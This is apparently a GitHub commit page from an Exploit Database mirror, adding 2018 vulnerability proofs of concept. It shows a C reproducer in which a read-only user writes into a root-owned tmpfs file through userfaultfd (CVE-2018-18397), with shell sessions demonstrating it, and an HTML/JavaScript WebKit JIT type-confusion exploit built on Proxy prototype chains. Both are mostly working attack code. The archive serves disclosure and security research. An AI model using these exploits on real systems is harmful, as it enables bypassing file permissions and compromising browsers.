Skip to content

Commit

Permalink
DB: 2018-12-14
Browse files Browse the repository at this point in the history
3 changes to exploits/shellcodes

Linux - 'userfaultfd' Bypasses tmpfs File Permissions
WebKit JIT - Int32/Double Arrays can have Proxy Objects in the Prototype Chains

CyberLink LabelPrint 2.5 - Stack Buffer Overflow (Metasploit)
  • Loading branch information
Offensive Security committed Dec 14, 2018
1 parent 25e5c32 commit 04a490a
Show file tree
Hide file tree
Showing 4 changed files with 434 additions and 0 deletions.
149 changes: 149 additions & 0 deletions exploits/linux/dos/45983.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,149 @@
Using the userfaultfd API, it is possible to first register a
userfaultfd region for any VMA that fulfills vma_can_userfault():
It must be an anonymous VMA (->vm_ops==NULL), a hugetlb VMA
(VM_HUGETLB), or a shmem VMA (->vm_ops==shmem_vm_ops). This means that
it is, for example, possible to register userfaulfd regions for shared
readonly mappings of tmpfs files.

Afterwards, the userfaultfd API can be used on such a region to
(atomically) write data into holes in the file's mapping. This API
also works on readonly shared mappings.

This means that an attacker with read-only access to a tmpfs file that
contains holes can write data into holes in the file.

Reproducer:

First, as root:
=====================
root@debian:~# cd /dev/shm
root@debian:/dev/shm# umask 0022
root@debian:/dev/shm# touch uffd_test
root@debian:/dev/shm# truncate --size=4096 uffd_test
root@debian:/dev/shm# ls -l uffd_test
-rw-r--r-- 1 root root 4096 Oct 16 19:25 uffd_test
root@debian:/dev/shm# hexdump -C uffd_test
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00001000
root@debian:/dev/shm#
=====================

Then, as a user (who has read access, but not write access, to that
file):
=====================
user@debian:~/uffd$ cat uffd_demo.c
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <err.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <stdio.h>

static int uffd;
static void *uf_mapping;

int main(int argc, char **argv) {
int rw_open_res = open("/dev/shm/uffd_test", O_RDWR);
if (rw_open_res == -1)
perror("can't open for writing as expected");
else
errx(1, "unexpected write open success");

int mfd = open("/dev/shm/uffd_test", O_RDONLY);
if (mfd == -1) err(1, "tmpfs open");
uf_mapping = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, mfd, 0);
if (uf_mapping == (void*)-1) err(1, "shmat");

// Documentation for userfaultfd:
// http://man7.org/linux/man-pages/man2/userfaultfd.2.html
// http://man7.org/linux/man-pages/man2/ioctl_userfaultfd.2.html
// https://blog.lizzie.io/using-userfaultfd.html
uffd = syscall(__NR_userfaultfd, 0);
if (uffd == -1) err(1, "userfaultfd");
struct uffdio_api api = { .api = 0xAA, .features = 0 };
if (ioctl(uffd, UFFDIO_API, &api)) err(1, "API");

struct uffdio_register reg = {
.range = {
.start = (unsigned long)uf_mapping,
.len = 0x1000
},
.mode = UFFDIO_REGISTER_MODE_MISSING
};
if (ioctl(uffd, UFFDIO_REGISTER, &reg)) err(1, "REGISTER");

char buf[0x1000] = {'A', 'A', 'A', 'A'};
struct uffdio_copy copy = {
.dst = (unsigned long)uf_mapping,
.src = (unsigned long)buf,
.len = 0x1000,
.mode = 0
};
if (ioctl(uffd, UFFDIO_COPY, &copy)) err(1, "copy");
if (copy.copy != 0x1000) errx(1, "copy len");

printf("x: 0x%08x\n", *(unsigned int*)uf_mapping);
return 0;
}
user@debian:~/uffd$ gcc -o uffd_demo uffd_demo.c -Wall
user@debian:~/uffd$ ./uffd_demo
can't open for writing as expected: Permission denied
x: 0x41414141
user@debian:~/uffd$
=====================

And now again as root:
=====================
root@debian:/dev/shm# hexdump -C uffd_test
00000000 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 |AAAA............|
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00001000
=====================


I asked MITRE for a CVE when I started writing the bug report, and
they've already given me CVE-2018-18397.


By the way, another interesting thing: Apparently userfaultfd even
lets you write beyond the end of the file, and the writes become
visible if the file is subsequently truncated to a bigger size?
That seems wrong.

As root, create an empty file:
=====================
root@debian:/dev/shm# rm uffd_test
root@debian:/dev/shm# touch uffd_test
root@debian:/dev/shm# ls -l uffd_test
-rw-r--r-- 1 root root 0 Oct 16 19:44 uffd_test
root@debian:/dev/shm#
=====================

Now as a user, use userfaultfd to write into it:
=====================
user@debian:~/uffd$ ./uffd_demo
can't open for writing as expected: Permission denied
x: 0x41414141
user@debian:~/uffd$
=====================

Afterwards, to root, the file still looks empty, until it is truncated
to a bigger size:
=====================
root@debian:/dev/shm# ls -l uffd_test
-rw-r--r-- 1 root root 0 Oct 16 19:44 uffd_test
root@debian:/dev/shm# hexdump -C uffd_test
root@debian:/dev/shm# truncate --size=4096 uffd_test
root@debian:/dev/shm# hexdump -C uffd_test
00000000 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 |AAAA............|
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00001000
root@debian:/dev/shm#
=====================
116 changes: 116 additions & 0 deletions exploits/multiple/dos/45984.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,116 @@
<!--
Bug:
void JSObject::setPrototypeDirect(VM& vm, JSValue prototype)
{
ASSERT(prototype);
if (prototype.isObject())
prototype.asCell()->didBecomePrototype();
if (structure(vm)->hasMonoProto()) {
DeferredStructureTransitionWatchpointFire deferred(vm, structure(vm));
Structure* newStructure = Structure::changePrototypeTransition(vm, structure(vm), prototype, deferred);
setStructure(vm, newStructure);
} else
putDirect(vm, knownPolyProtoOffset, prototype);
if (!anyObjectInChainMayInterceptIndexedAccesses(vm))
return;
if (mayBePrototype()) {
structure(vm)->globalObject()->haveABadTime(vm);
return;
}
if (!hasIndexedProperties(indexingType()))
return;
if (shouldUseSlowPut(indexingType()))
return;
switchToSlowPutArrayStorage(vm);
}
JavaScriptCore doesn't allow native arrays to have Proxy objects as prototypes. If we try to set the prototype of an array to a Proxy object, it will end up calling either switchToSlowPutArrayStorage or haveABadTime in the above method. switchToSlowPutArrayStorage will transition the array to a SlowPutArrayStorage array. And haveABadTime will call switchToSlowPutArrayStorage on every object in the VM on a first call. Since subsequent calls to haveABadTime won't have any effect, with two global objects we can create an array having a Proxy object in the prototype chain.
Exploit:
case HasIndexedProperty: {
ArrayMode mode = node->arrayMode();
switch (mode.type()) {
case Array::Int32:
case Array::Double:
case Array::Contiguous:
case Array::ArrayStorage: {
break;
}
default: {
clobberWorld();
break;
}
}
setNonCellTypeForNode(node, SpecBoolean);
break;
}
From: https://github.com/WebKit/webkit/blob/9ca43a5d4bd8ff63ee7293cac8748d564bd7fbbd/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h#L3481
The above routine is based on the assumption that if the input array is a native array, it can't intercept indexed accesses therefore it will have no side effects. But actually we can create such arrays which break that assumption making it exploitable.
PoC:
-->

<body>
<script>

function opt(arr, arr2) {
arr[1] = 1.1;

let tmp = 0 in arr2;

arr[0] = 2.3023e-320;

return tmp;
}

function main() {
let o = document.body.appendChild(document.createElement('iframe')).contentWindow;

// haveABadTime
o.eval(`
let p = new Proxy({}, {});
let a = {__proto__: {}};
a.__proto__.__proto__ = p;
`);

let arr = [1.1, 2.2];
let arr2 = [1.1, 2.2];

let proto = new o.Object();
let handler = {};

arr2.__proto__ = proto;
proto.__proto__ = new Proxy({}, {
has() {
arr[0] = {};

return true;
}
});

for (let i = 0; i < 10000; i++) {
opt(arr, arr2);
}

setTimeout(() => {
delete arr2[0];

opt(arr, arr2);

alert(arr[0]);
}, 500);
}

main();

</script>
</body>
Loading

0 comments on commit 04a490a

Please sign in to comment.